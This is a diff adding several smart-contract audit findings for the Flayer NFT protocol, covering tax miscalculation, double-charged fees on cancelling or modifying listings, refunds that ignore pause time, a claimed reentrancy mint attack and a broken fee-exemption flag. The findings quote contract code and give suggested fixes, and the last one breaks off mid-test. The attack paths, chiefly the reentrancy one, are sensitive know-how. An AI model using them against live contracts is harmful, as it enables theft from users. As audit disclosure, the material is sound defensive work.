+uint totalPrice = (price_ * uint(listing.floorMultiple)) / MIN_FLOOR_MULTIPLE;
+```
+Consider that the listing is a liquid listing, and it hasn't expired yet. Now lets consider that Alice and Bob both create a listing for a token of the same NFT collection, and both create a listing for 7 days.
+ - Alice sets the floorMultiplier to **201**, now using the current formula she will have to pay **0.04e18** tax but the price of her NFT will be **(1e18 * 201) / 100 = 2.01e18**
+ - Bob sets the floorMultiplier to **200** for his NFT, with the current formula he will have to pay **0.04e18** tax as well. However his NFT will be priced at **(1e18 * 200) / 100 = 2.00e18**
+
+If both NFTs are sold at the same time alice will receive 1% more tokens than bob, due to the above mentioned rounding issue. This lead to a price discrepancy in a lot of situations, which leads to the protocol receiving less fees than it should.
+
+The formula for calculating the tax is completely different from the formula described in the docs:
+
+
+
+
+
+
+
+. Note that this formula doesn't make much sense either.
+
+### Root Cause
+
+The implementation of the formula for calculating tax in the [calculateTax()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L35-L44) function is not optimal and introduces a couple of problems described above.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+The implementation of the formula for calculating tax in the [calculateTax()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L35-L44) function leads to the [createListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L130-L166) function reverting in some cases, probably taxing users more than it should, and creates a price discrepancy which leads to the protocol loosing fees.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/004/648.md b/004/648.md
new file mode 100644
index 0000000..d4d78a1
--- /dev/null
+++ b/004/648.md
@@ -0,0 +1,93 @@
+Uneven Burlap Dalmatian
+
+High
+
+# ```Listings::modifyListings()``` doesn't update the ```listing.created``` (when only the ```floorMultiple``` is modified) leading to double paying and wrong accountings.
+
+### Summary
+
+Modifying only the ```floorMulitple``` of a ```Listing``` will mess up the accountings of the listing since the ```created``` parameter won't be updated leading to tax double-paying and wrong calculations.
+
+### Root Cause
+
+```Listings::modifyListings``` allows a lister to change the ```duration``` and/or the ```floorMultiple``` of his ```listing``` by resolving any tax from the start until this point and, basically, "restarting" the listing with these new conditions. However, there is a missing ```listing.created``` update when the ```floorMultiple``` is modified. Let's see this function :
+```solidity
+function modifyListings(address _collection, ModifyListing[] calldata _modifyListings, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused returns (uint taxRequired_, uint refund_) {
+ uint fees;
+
+ for (uint i; i < _modifyListings.length; ++i) {
+ // ...
+
+ // Collect tax on the existing listing
+ (uint _fees, uint _refund) = _resolveListingTax(listing, _collection, false);
+ emit ListingFeeCaptured(_collection, params.tokenId, _fees);
+
+ fees += _fees;
+ refund_ += _refund;
+
+ // Check if we are altering the duration of the listing
+ if (params.duration != 0) {
+ // Ensure that the requested duration falls within our listing range
+ if (params.duration < MIN_LIQUID_DURATION) revert ListingDurationBelowMin(params.duration, MIN_LIQUID_DURATION);
+ if (params.duration > MAX_LIQUID_DURATION) revert ListingDurationExceedsMax(params.duration, MAX_LIQUID_DURATION);
+
+ emit ListingExtended(_collection, params.tokenId, listing.duration, params.duration);
+
+@> listing.created = uint40(block.timestamp);
+@> listing.duration = params.duration;
+ }
+
+ // Check if the floor multiple price has been updated
+ if (params.floorMultiple != listing.floorMultiple) {
+ // If we are creating a listing, and not performing an instant liquidation (which
+ // would be done via `deposit`), then we need to ensure that the `floorMultiple` is
+ // greater than 1.
+ if (params.floorMultiple <= MIN_FLOOR_MULTIPLE) revert FloorMultipleMustBeAbove100(params.floorMultiple);
+ if (params.floorMultiple > MAX_FLOOR_MULTIPLE) revert FloorMultipleExceedsMax(params.floorMultiple, MAX_FLOOR_MULTIPLE);
+
+ emit ListingFloorMultipleUpdated(_collection, params.tokenId, listing.floorMultiple, params.floorMultiple);
+
+@> listing.floorMultiple = params.floorMultiple;
+ }
+
+ // Get the amount of tax required for the newly extended listing
+@> taxRequired_ += getListingTaxRequired(listing, _collection);
+ }
+ // ...
+
+ // ...
+ }
+```
+[Link to code](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L303)
+
+As we can see, when the ```floorMultiple``` is updated, the ```listing.created``` is not. This will make the user (who has already paid tax from start until this moment with ```fees``` variable) to pay for tax again from the start of the ```listing``` until the end of it but this time with the new ```floorMultiple```.
+
+This shouldn't be the case because the tax from start until now has been resolved and has been calculated with the previous ```floorMultiple``` and has been paid. The new ```floorMultiple``` should be taken into consideration from now until the end of the ```listing```, not from the start until the end.
+
+
+
+### Internal pre-conditions
+
+1. User opens a ```Listing``` for his token specifying a ```floorMultiple``` and a ```duration```.
+
+### External pre-conditions
+
+1. User wants to modify the ```floorMultiple``` (meaning the price) of this ```Listing``` and calls ```Listings::modifyListings()```.
+
+### Attack Path
+
+1. User calls ```Listings::createListings()``` and creates a ```listing``` with a specified ```floorMultiple``` and ```duration``` and prepays the tax until the end of the duration of his listing.
+2. Some time passes.
+3. User, now, calls ```Listings::modifyListings()``` wanting to update the ```floorMultiple```. He, actually pays, for the tax with the previous ```floorMultiple``` from the start until now and the rest tax is refunded to him. However, with the missing ```created``` update, he again "prepays" from the start until the end with the new ```floorMultiple```.
+
+### Impact
+
+The impact of this critical vulnerability is that the user is forced to double pay the tax from the start of the ```listing``` until the moment of the modifying of ```floorMultiple```. One time with the previous ```floorMultiple``` (which is fair) and second time with the new ```floorMultiple``` which shouldn't be the case. Except from that, in all calculations from now, this new ```floorMultiple``` will be incorrectly assumed that it was the one from the very start. This will cause **loss of funds** for the user who is willing to modify the ```floorMultiple``` of his ```listing``` and, also, will, totally, mess up the internal accountings of corresponding ```collectionToken```.
+
+### PoC
+
+No PoC needed.
+
+### Mitigation
+
+To mitigate this vulnerability, make sure to update ```created``` as well, upon ```Listings::modifyListings```
\ No newline at end of file
diff --git a/004/679.md b/004/679.md
new file mode 100644
index 0000000..b3f638b
--- /dev/null
+++ b/004/679.md
@@ -0,0 +1,44 @@
+Round Silver Cuckoo
+
+Medium
+
+# Gas refund is unfairly calculated during pause time
+
+## Summary
+The `listings::cancelListings` and `listings::modifyListings` functions uses the lockerNotPause modifier to ensure that the functions cannot be executed when the locker is paused, which is intended to handle emergencies. However, this functionality is not properly implemented, as these functions still make internal calls to `__resolveListingTax`, which calculates the associated fees and gas refunds.
+## Vulnerability Detail
+
+The logic responsible for calculating fees and refunds is based on the difference between the expected listing duration and the current time (`block.timestamp`) at the moment the function is called. This refund is intended to compensate for the unused listing days. However, the value of the refund decreases over time, leading to the listing owner eventually paying more than expected in taxes, as the paused duration is not accounted for in the calculation.
+## Impact
+Pause periods are included in the calculation of listing days, which unfairly impacts users' gas refunds when performing actions such as `modifyListing` and `cancelListing`.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L932
+```solidity
+ function _resolveListingTax(Listing memory _listing, address _collection, bool _action) private returns (uint fees_, uint refund_) {
+ // If we have been passed a Floor item as the listing, then no tax should be handled
+ if (_listing.owner == address(0)) {
+ return (fees_, refund_);
+ }
+
+ // Get the amount of tax in total that will have been paid for this listing
+ uint taxPaid = getListingTaxRequired(_listing, _collection);
+ if (taxPaid == 0) {
+ return (fees_, refund_);
+ }
+
+ // Get the amount of tax to be refunded. If the listing has already ended
+ // then no refund will be offered.
+ if (block.timestamp < _listing.created + _listing.duration) {
+ //@audit pause time is not considered
+@> refund_ = (_listing.duration - (block.timestamp - _listing.created)) * taxPaid / _listing.duration;
+ }
+```
+## Tool used
+
+Manual Review
+
+## Recommendation
+Consider accounting for pause time when calculating refunds. However, this must be implemented carefully to avoid introducing new bugs into the logic. The pause time should not be exploitable and must be calculated based on the total pause duration experienced from the moment the listing was created until the time of the function call.
+```solidity
+ refund_ = (_listing.duration - (block.timestamp - _listing.created) - pauseduration) * taxPaid / _listing.duration;
+```
diff --git a/004/683.md b/004/683.md
new file mode 100644
index 0000000..1883253
--- /dev/null
+++ b/004/683.md
@@ -0,0 +1,43 @@
+Sweet Coconut Robin
+
+High
+
+# `Listings::cancelListings()` overcharges extra funds from the user and will get them stuck
+
+### Summary
+
+[Listings::cancelListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L414) requires the user to `payTaxWithEscrow()` with an amount equal to `((1 ether * _tokenIds.length) * 10 ** collectionToken.denomination()) - refund;`, which is incorrect and will double charge the user on the amount `fees`, as they have already been paid when [creating](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L151) the listing.
+
+It should pull `((1 ether * _tokenIds.length) * 10 ** collectionToken.denomination()) - getListingTaxRequired(_listing, _collection)`.
+
+### Root Cause
+
+In `Listings.sol:451`, the `requireAmount` is too big.
+
+### Internal pre-conditions
+
+None.
+
+### External pre-conditions
+
+None.
+
+### Attack Path
+
+1. User creates a listing via `Listings::createListings()`.
+2. User cancels the listing after some time passes via `Listings::cancelListings()` but is double charged and the `fee` is stuck.
+
+### Impact
+
+User is double charged the `fee` component, where one of the `fee` gets stuck.
+
+### PoC
+
+```solidity
+uint requiredAmount = ((1 ether * _tokenIds.length) * 10 ** collectionToken.denomination()) - refund;
+payTaxWithEscrow(address(collectionToken), requiredAmount, _payTaxWithEscrow);
+```
+
+### Mitigation
+
+Pull from the user `((1 ether * _tokenIds.length) * 10 ** collectionToken.denomination()) - getListingTaxRequired(_listing, _collection)`.
\ No newline at end of file
diff --git a/004/691.md b/004/691.md
new file mode 100644
index 0000000..27a7f6d
--- /dev/null
+++ b/004/691.md
@@ -0,0 +1,40 @@
+Lone Powder Shrimp
+
+High
+
+# due to wrong math the user have to pay more when canceling
+
+### Summary
+
+in listing.cancellistings line 451 when calculating the value that the user have to return
+ uint **requiredAmount** = ((1 ether * _tokenIds.length) * 10 ** collectionToken.denomination()) - refund;
+ it is subtracting refund from ((1 ether * _tokenIds.length) * 10 ** collectionToken.denomination()) since the refund is less than the tax that the user paid when listing **requiredAmount ** will be more than the actual amount that the user received as a base payment when listing so the user will have to pay more than he recived
+
+### Root Cause
+
+in listing.sol: line 451 it is subtracting refund from the base
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L451
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+the user have to pay more fund
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/004/705.md b/004/705.md
new file mode 100644
index 0000000..625b58d
--- /dev/null
+++ b/004/705.md
@@ -0,0 +1,117 @@
+Uneven Burlap Dalmatian
+
+High
+
+# Lister is overpaying during the cancel of his listing on ```Listings::cancelListings()```.
+
+### Summary
+
+Lister unfairly double pays the ```tax used``` while he is cancelling his ```listing``` through ```Listings::cancelListings()```.
+
+### Root Cause
+
+When a user is creating his ```listing``` through ```Listings::createListings()```, he is paying upfront the tax that is expected to be used for the whole duration of the ```listing```. However, if he decides to cancel the listing after some time calling ```Listings::cancelListings()```, he will find himself paying again the portion of the tax that has been used until this point. Let's see the ```Listings::cancelListings()``` :
+```solidity
+ function cancelListings(address _collection, uint[] memory _tokenIds, bool _payTaxWithEscrow) public lockerNotPaused {
+ uint fees;
+ uint refund;
+
+ for (uint i; i < _tokenIds.length; ++i) {
+ uint _tokenId = _tokenIds[i];
+
+ // Read the listing in a single read
+ Listing memory listing = _listings[_collection][_tokenId];
+
+ // Ensure the caller is the owner of the listing
+ if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);
+
+ // We cannot allow a dutch listing to be cancelled. This will also check that a liquid listing has not
+ // expired, as it will instantly change to a dutch listing type.
+ Enums.ListingType listingType = getListingType(listing);
+ if (listingType != Enums.ListingType.LIQUID) revert CannotCancelListingType();
+
+ // Find the amount of prepaid tax from current timestamp to prepaid timestamp
+ // and refund unused gas to the user.
+ (uint _fees, uint _refund) = _resolveListingTax(listing, _collection, false);
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+
+ fees += _fees;
+ refund += _refund;
+
+ // Delete the listing objects
+ delete _listings[_collection][_tokenId];
+
+ // Transfer the listing ERC721 back to the user
+ locker.withdrawToken(_collection, _tokenId, msg.sender);
+ }
+
+ // cache
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // Burn the ERC20 token that would have been given to the user when it was initially created
+@> uint requiredAmount = ((1 ether * _tokenIds.length) * 10 ** collectionToken.denomination()) - refund;
+@> payTaxWithEscrow(address(collectionToken), requiredAmount, _payTaxWithEscrow);
+ collectionToken.burn(requiredAmount + refund);
+
+ // ...
+ }
+```
+[Link to code](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L414C1-L470C6)
+
+As we can see, user is expected to return back the whole ```1e18 - refund```. It helps to remember that when he created the listing he "took" ```1e18 - TAX``` where, now, ```TAX = refund + fees```. So the user is expected to give back to the protocol ```1e18 - refund``` while he got ```1e18 - refund - fees```. The difference of what he got at the start and what he is expected to return now :
+```md
+whatHeGot - whatHeMustReturn = (1e18 - refund - fees) - (1e18 - refund) = -fees
+```
+So, now the user has to get out of his pocket and pay again for the ```fees``` while, technically, he has paid for them in the start **by not ever taking them**.
+
+Furthermore, in this way, as we can see from [this line](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L453), the protocol burns the whole ```1e18``` without considering the ```tax``` that **got actually used** and shouldn't be burned as it will be deposited to the ```UniswapV4Implementation``` :
+```solidity
+collectionToken.burn(requiredAmount + refund);
+```
+
+### Internal pre-conditions
+
+1. User creates a ```listing``` from ```Listings::createListings()```.
+
+### External pre-conditions
+
+1. User wants to cancel his ```listing``` by ```Listings:cancelListings()```.
+
+### Attack Path
+
+1. User creates a ```listing``` from ```Listings::createListings()``` and takes back as ```collectionTokens``` -> ```1e18 - prepaidTax``` .
+2. Some time passes by.
+3. User wants to cancel the ```listing``` by calling ```Listings::cancelListings()``` and he has to give back ```1e18 - unusedTax```. This mean that he has to give also the ```usedTax``` amount.
+
+### Impact
+
+The impact of this serious vulnerability is that the user is forced to double pay the tax that has been used for the duration that his ```listing``` was up. He, firstly, paid for it by not taking it and now, when he cancels the ```listing```, he has to pay it again out of his own pocket. This results to unfair **loss of funds** for whoever tries to cancel his ```listing```.
+
+### PoC
+
+No PoC needed.
+
+### Mitigation
+
+To mitigate this vulnerability successfully, consider not requiring user to return the ```fee``` variable as well :
+```diff
+ function cancelListings(address _collection, uint[] memory _tokenIds, bool _payTaxWithEscrow) public lockerNotPaused {
+ uint fees;
+ uint refund;
+
+ for (uint i; i < _tokenIds.length; ++i) {
+ // ...
+ }
+
+ // cache
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // Burn the ERC20 token that would have been given to the user when it was initially created
+- uint requiredAmount = ((1 ether * _tokenIds.length) * 10 ** collectionToken.denomination()) - refund;
++ uint requiredAmount = ((1 ether * _tokenIds.length) * 10 ** collectionToken.denomination()) - refund - fees;
+ payTaxWithEscrow(address(collectionToken), requiredAmount, _payTaxWithEscrow);
+ collectionToken.burn(requiredAmount + refund);
+
+ // ...
+ }
+```
\ No newline at end of file
diff --git a/004/796.md b/004/796.md
new file mode 100644
index 0000000..bddde7d
--- /dev/null
+++ b/004/796.md
@@ -0,0 +1,52 @@
+Raspy Azure Dragonfly
+
+Medium
+
+# "Improper Handling of Pause Periods in Listing Refund Calculation Leading to Excessive Ta
+
+## Summary
+The ``listings::cancelListings`` and listings::modifyListings functions utilize the ``lockerNotPause`` modifier to ensure that these functions cannot be executed when the contract is paused, which is designed to handle emergency situations. However, this functionality is not properly implemented, as both functions still make internal calls to __resolveListingTax, which calculates associated fees and gas refunds.
+
+## Vulnerability Detail
+The fee and refund calculation logic is based on the difference between the expected listing duration and the current time (block.timestamp) at the time of function execution. This calculation is meant to refund users for the remaining unused listing period. However, since the pause period is not factored into the calculation, the value of the refund decreases over time. As a result, the listing owner could end up paying more in taxes than expected, because the duration during which the contract was paused is not considered.
+
+Impact
+The inclusion of pause periods in the calculation of listing days unfairly reduces users' gas refunds when executing modifyListing and cancelListing functions, leading to overpayment in taxes.
+
+##Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L932
+```solidity
+Copy code
+function _resolveListingTax(Listing memory _listing, address _collection, bool _action) private returns (uint fees_, uint refund_) {
+ // If we have been passed a Floor item as the listing, then no tax should be handled
+ if (_listing.owner == address(0)) {
+ return (fees_, refund_);
+ }
+
+ // Get the amount of tax in total that will have been paid for this listing
+ uint taxPaid = getListingTaxRequired(_listing, _collection);
+ if (taxPaid == 0) {
+ return (fees_, refund_);
+ }
+
+ // Get the amount of tax to be refunded. If the listing has already ended
+ // then no refund will be offered.
+ if (block.timestamp < _listing.created + _listing.duration) {
+ //@audit pause time is not considered
+ refund_ = (_listing.duration - (block.timestamp - _listing.created)) * taxPaid / _listing.duration;
+ }
+}
+```
+[Code reference](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L932)
+
+##Tool Used
+Manual Review
+
+## Recommendation
+To prevent this issue, consider incorporating the pause duration when calculating refunds. However, care must be taken to ensure this implementation does not introduce new vulnerabilities. The pause duration should be calculated based on the total time the contract was paused, from the listing’s creation until the time the function is called.
+
+```solidity
+Copy code
+refund_ = (_listing.duration - (block.timestamp - _listing.created) - pauseDuration) * taxPaid / _listing.duration;
+```
+This approach ensures that pause periods are excluded from the listing duration and that users receive a fair refund based on the actual active listing time.
\ No newline at end of file
diff --git a/005.md b/005.md
new file mode 100644
index 0000000..e898f35
--- /dev/null
+++ b/005.md
@@ -0,0 +1,69 @@
+Furry Marigold Shell
+
+High
+
+# Attacker re-enters the setTokenURIAndMintFromRiftAbove() function
+
+### Summary
+
+Due to the lack of Reentrancy Guard `nonReentrant` in the `ERC1155Bridgable.sol` contract, an attacker can mint a large amount of tokens using reentrancy.
+
+### Root Cause
+
+In `ERC1155Bridgable:101` due to the lack of Reentrancy Guard `nonReentrant`
+
+
+The root cause of this problem:
+
+OpenZeppelin's ERC1155.sol includes callback functions to manage NFTs and prevent them from getting stuck in contracts. For NFT contracts, there exist some implicit external function calls that could be neglected by developers. They include `onERC1155Received` function. The `onERC1155Received` function was designed to check whether the receiver contract can handle NFTs. This function is invoked in the `_mint()` of the `ERC1155Bridgable` contract. Due to this external function call, the reentrancy could happen without being noticed by contract developer.
+
+https://www.rareskills.io/post/where-to-find-solidity-reentrancy-attacks
+
+The `_mint()` function is called in the `setTokenURIAndMintFromRiftAbove()` function.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC1155Bridgable.sol#L101
+```solidity
+ function setTokenURIAndMintFromRiftAbove(uint _id, uint _amount, string memory _uri, address _recipient) external {
+ if (msg.sender != INFERNAL_RIFT_BELOW) {
+ revert NotRiftBelow();
+ }
+
+ // Set our tokenURI
+ uriForToken[_id] = _uri;
+
+ // Mint the token to the specified recipient
+ _mint(_recipient, _id, _amount, '');
+ }
+```
+
+And there we can see that mint will ultimately try to call a function onERC1155Received on the receiving function. Now we have handed control over to another contract.
+
+According to what I said above, the malicious person can abuse the same things and write in the `onERC1155Received` function of his contract to call the `setTokenURIAndMintFromRiftAbove()` function many times in a loop. The same thing can happen with the setTokenURIAndMintFromRiftAbove function.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Attacker calls the `setTokenURIAndMintFromRiftAbove()` function.
+
+2. Due to the lack of Reentrancy Guard adherence, the attacker re-enters the `setTokenURIAndMintFromRiftAbove()` function in `onERC1155Received` before the initial call completes.
+
+3. This process can be repeated, allowing the attacker to mint tokens more than their allowed.
+
+### Impact
+
+Regarding the mint function, the malicious person can mint a large amount of tokens using reentrancy.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Add a reentrancy guard (`nonReentrant()`)
\ No newline at end of file
diff --git a/005/060.md b/005/060.md
new file mode 100644
index 0000000..392f17a
--- /dev/null
+++ b/005/060.md
@@ -0,0 +1,141 @@
+Lone Coconut Cat
+
+Medium
+
+# Incorrect Implementation Of Fee Exemption Logic
+
+## Summary
+
+Due to incorrect comparisons, the [`UniswapImplementation`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol) fails to determine whether a fee exemption has been applied.
+
+## Vulnerability Detail
+
+When applying a fee exemption to a `_beneficiary`, an owner can call [`setFeeExemption(address,uint24)`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L729C14-L729C68).
+
+To mark a `_beneficiary` as fee exempt, the protocol underlying appends internal flags to the original `_flatFee` argument:
+
+```solidity
+function setFeeExemption(address _beneficiary, uint24 _flatFee) public onlyOwner {
+ // Ensure that our custom fee conforms to Uniswap V4 requirements
+ if (!_flatFee.isValid()) {
+ revert FeeExemptionInvalid(_flatFee, LPFeeLibrary.MAX_LP_FEE);
+ }
+
+ // We need to be able to detect if the zero value is a flat fee being applied to
+ // the user, or it just hasn't been set. By packing the `1` in the latter `uint24`
+ // we essentially get a boolean flag to show this.
+ feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0xFFFFFF; /// @audit appends `type(uint24).max` to the fee
+ emit BeneficiaryFeeSet(_beneficiary, _flatFee);
+}
+```
+
+Let's assume we assign a `_flatFee` of `LPFeeLibrary.MAX_LP_FEE` (`1000000`) to a beneficiary:
+
+```shell
+Welcome to Chisel! Type `!help` to show available commands.
+➜ uint24 flatFee = 1000000;
+➜ uint48 feeOverride = uint48(flatFee) << 24 | 0xFFFFFF;
+➜ feeOverride
+Type: uint48
+├ Hex: 0x0f4240ffffff
+├ Hex (full word): 0x00000000000000000000000000000000000000000000000000000f4240ffffff
+└ Decimal: 16777232777215
+```
+
+Notice that the bytes `ffffff` are appended to the evaluated fee.
+
+However, this is not compatible the [`UniswapImplementation`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol)'s dependent logic, since consumers of the fee exemption bytes expect a single lastmost truthy bit to determine if the caller is fee exempt.
+
+For example, let's see what happens when the owner attempts to [`removeFeeExemption(address)`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L749C14-L749C54) from a beneficiary:
+
+```solidity
+function removeFeeExemption(address _beneficiary) public onlyOwner {
+ // Check that a beneficiary is currently enabled
+ uint24 hasExemption = uint24(feeOverrides[_beneficiary] & 0xFFFFFF);
+ if (hasExemption != 1) {
+ revert NoBeneficiaryExemption(_beneficiary);
+ }
+
+ delete feeOverrides[_beneficiary];
+ emit BeneficiaryFeeRemoved(_beneficiary);
+}
+```
+
+In `chisel`:
+
+```shell
+➜ uint24 hasExemption = uint24(feeOverride & 0xFFFFFF)
+➜ hasExemption
+Type: uint24
+├ Hex: 0xffffff
+├ Hex (full word): 0x0000000000000000000000000000000000000000000000000000000000ffffff
+└ Decimal: 16777215
+```
+
+The `hasExemption` variable in this instance returns the full `ffffff` bytes, and not the value `1`, and is therefore interpreted to be non fee-exempt, resulting in `revert`.
+
+Likewise, we see the same error repeated in [`getFee(address,address)`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L698C14-L698C53):
+
+```solidity
+uint48 swapFeeOverride = feeOverrides[_sender];
+if (uint24(swapFeeOverride & 0xFFFFFF) == 1) { /// @audit incorrect comparison
+```
+
+## Impact
+
+The `UniswapImplementation` can neither honour a fee exemption nor remove an applied fee exemption.
+
+## Code Snippet
+
+```solidity
+function setFeeExemption(address _beneficiary, uint24 _flatFee) public onlyOwner {
+ // Ensure that our custom fee conforms to Uniswap V4 requirements
+ if (!_flatFee.isValid()) {
+ revert FeeExemptionInvalid(_flatFee, LPFeeLibrary.MAX_LP_FEE);
+ }
+
+ // We need to be able to detect if the zero value is a flat fee being applied to
+ // the user, or it just hasn't been set. By packing the `1` in the latter `uint24`
+ // we essentially get a boolean flag to show this.
+ feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0xFFFFFF;
+ emit BeneficiaryFeeSet(_beneficiary, _flatFee);
+}
+```
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L721C5-L740C6
+
+## Tool used
+
+Chisel
+
+## Recommendation
+
+It is recommended to the team to adjust the assignment in [`setFeeExemption(address,uint24)`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L729C14-L729C68) to toggle only the required fee exemption bit:
+
+```diff
+// We need to be able to detect if the zero value is a flat fee being applied to
+// the user, or it just hasn't been set. By packing the `1` in the latter `uint24`
+// we essentially get a boolean flag to show this.
+- feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0xFFFFFF;
++ feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0x000001;
+emit BeneficiaryFeeSet(_beneficiary, _flatFee);
+```
+
+Again, in `chisel`:
+
+```shell
+Welcome to Chisel! Type `!help` to show available commands.
+➜ uint24 flatFee = 1000000;
+➜ uint48 feeOverride = uint48(flatFee) << 24 | 0x000001;
+➜ feeOverride
+Type: uint48
+├ Hex: 0x0f4240000001
+├ Hex (full word): 0x00000000000000000000000000000000000000000000000000000f4240000001
+└ Decimal: 16777216000001
+➜ uint24 hasExemption = uint24(feeOverride & 0xFFFFFF)
+➜ hasExemption
+Type: uint24
+├ Hex: 0x000001
+├ Hex (full word): 0x0000000000000000000000000000000000000000000000000000000000000001
+└ Decimal: 1
+```
\ No newline at end of file
diff --git a/005/149.md b/005/149.md
new file mode 100644
index 0000000..fee2909
--- /dev/null
+++ b/005/149.md
@@ -0,0 +1,92 @@
+Rich Indigo Cottonmouth
+
+High
+
+# Incorrect Application of Fee Override Flag Leading to Wrong Swap Fee Calculation
+
+## Summary
+The [getFee](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L698) function is designed to calculate and return the applicable fee for a given pool and sender. The function allows for the use of a fee override if one has been set for the user. However, the function checks for a flag in the lower 24 bits of the `feeOverrides[_sender]` variable to determine if an override is active. The issue arises when the flag is set to `0xFFFFFF` instead of `1`, causing the check `if (uint24(swapFeeOverride & 0xFFFFFF) == 1)` to fail. This leads to incorrect fee calculations, where valid fee overrides are ignored, potentially causing users or the pool to be charged incorrect fees.
+## Vulnerability Detail
+The getFee function relies on the lower 24 bits of the feeOverrides[_sender] value to determine whether a fee override is active. Specifically, it checks whether the flag in the lower 24 bits equals 1:
+```solidity
+if (uint24(swapFeeOverride & 0xFFFFFF) == 1)
+```
+However, in the [setFeeExemption](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L738) function, the flag is set to `0xFFFFFF` rather than `1`, resulting in the condition failing because `0xFFFFFF != 1`. This failure causes the function to skip applying the flat fee override, leading to the use of a default or pool-specific fee instead of the intended override.
+## Impact
+ * Valid fee overrides are ignored, leading to incorrect fee calculations. Users may be charged higher fees than expected, which could lead to user dissatisfaction or financial loss.
+ * Users or the pool may incur unexpected costs or losses.
+## Code Snippet
+```solidity
+function getFee(PoolId _poolId, address _sender) public view returns (uint24 fee_) {
+ // Our default fee is our first port of call
+ fee_ = defaultFee;
+
+ // If we have a specific pool fee then we can overwrite that
+ uint24 poolFee = _poolParams[_poolId].poolFee;
+ if (poolFee != 0) {
+ fee_ = poolFee;
+ }
+
+ // If we have a swap fee override, then we want to use that value. We first check
+ // our flag to show that we have a valid override.
+ uint48 swapFeeOverride = feeOverrides[_sender];
+ if (uint24(swapFeeOverride & 0xFFFFFF) == 1) { <--- @audit
+ // We can then extract the original uint24 fee override and apply this, only if
+ // it is less that then traditionally calculated base swap fee.
+ uint24 baseSwapFeeOverride = uint24(swapFeeOverride >> 24);
+ if (baseSwapFeeOverride < fee_) {
+ fee_ = baseSwapFeeOverride;
+ }
+ }
+ }
+```
+```solidity
+ function setFeeExemption(address _beneficiary, uint24 _flatFee) public onlyOwner {
+ // Ensure that our custom fee conforms to Uniswap V4 requirements
+ if (!_flatFee.isValid()) {
+ revert FeeExemptionInvalid(_flatFee, LPFeeLibrary.MAX_LP_FEE);
+ }
+
+ // We need to be able to detect if the zero value is a flat fee being applied to
+ // the user, or it just hasn't been set. By packing the `1` in the latter `uint24`
+ // we essentially get a boolean flag to show this.
+ feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0xFFFFFF; <--- @audit
+ emit BeneficiaryFeeSet(_beneficiary, _flatFee);
+ }
+```
+## PoC
+```solidity
+function test_CanGetFeeWithExemptFees() public {
+ address beneficiary = address(poolSwap);
+
+ assertEq(
+ uniswapImplementation.getFee(_poolKey(false).toId(), beneficiary),
+ 1_0000
+ );
+
+ // Exempt a beneficiary with a set fee
